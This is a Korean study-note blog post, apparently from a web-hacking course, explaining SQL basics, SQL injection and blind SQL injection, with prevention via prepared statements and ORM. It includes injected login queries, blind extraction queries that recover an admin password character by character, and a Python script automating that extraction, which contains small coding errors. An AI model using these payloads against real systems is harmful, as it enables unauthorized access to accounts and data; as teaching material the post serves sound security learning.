W5-1 RDBMS와 SQL Injection, Blind SQL Injection

hyuun01·2022년 11월 1일
0

WebHacking

목록 보기
8/12

1. DBMS(DataBase Management System)

  • Database: 데이터가 저장되는 공간

  • DBMS : 데이터베이스를 관리하는 어플리케이션

  • Relational(관계형) : 행과 열의 집합인 테이블 형식으로 데이터를 저장

  • 비관계형 : 테이블 형식이 아닌 키-값 (Key-Value) 형태로 값을 저장

2. SQL(Structured Query Language)

1) DDL

CREATE

CREATE DATABASE Dreamhack;

USE Dreamhack;
#Board 이름의 테이블 생성
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);

2) DML

INSERT, SELECT, UPDATE

INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);

SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;

UPDATE Board SET boardContent='DreamHack!'
Where idx=1;

3. SQL injection

: DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법

1) injection 공격

: 인젝션 공격은 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점
: 악의적인 입력값을 주입해 의도하지 않은 행위를 일으키는 것

  • 로그인 기능을 위한 쿼리

    /
    아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
    - SELECT: 조회 명령어
    -
    : 테이블의 모든 컬럼 조회
    - FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
    - WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
    즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
    /
    SELECT
    FROM accounts WHERE user_id='dreamhack' and user_pw='password'

  • SQL injection으로 조작한 쿼리

    /
    아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
    - SELECT: 조회 명령어
    -
    : 테이블의 모든 컬럼 조회
    - FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
    - WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
    즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
    /
    SELECT
    FROM accounts WHERE user_id='admin'

2) 취약점 및 해결방안

  • 취약점 : 이용자의 입력값이 포함된 쿼리를 동적으로 생성하고 사용하면서 발생

  • 해결방안 : SQL 데이터를 처리할 때 쿼리문을 직접 생성하는 방식이 아닌 Prepared Statement와 Object Relational Mapping (ORM)을 사용

  • Prepared Statement는 동적 쿼리가 전달되면 내부적으로 쿼리 분석을 수행해 안전한 쿼리문을 생성

4. Blind SQL Injection

: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

#첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT
FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
#두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT
FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

  • https://docs.python-requests.org/en/master/

  • Requests 모듈 GET

    import requests
    url = 'https://dreamhack.io/'
    headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
    }
    params = {
    'test': 1,
    }
    for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

  • Requests 모듈 POST

    import requests
    url = 'https://dreamhack.io/'
    headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
    }
    data = {
    'test': 1,
    }
    for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

  • ex)

    #!/usr/bin/python3
    import requests
    import string
    url = 'http://example.com/login' # example URL
    params = {
    'uid': '',
    'upw': ''
    }
    tc = string.asciiletters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^`{|}~
    query = '''
    admin' and ascii(substr(upw,{idx},1))={val}--
    '''
    password = ''
    for idx in range(0, 20):
    for ch in tc:
    params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
    c = requests.get(url, params=params)
    print(c.request.url)
    if c.text.find("Login success") != -1:
    password += chr(ch)
    break
    print(f"Password is {password}")

0개의 댓글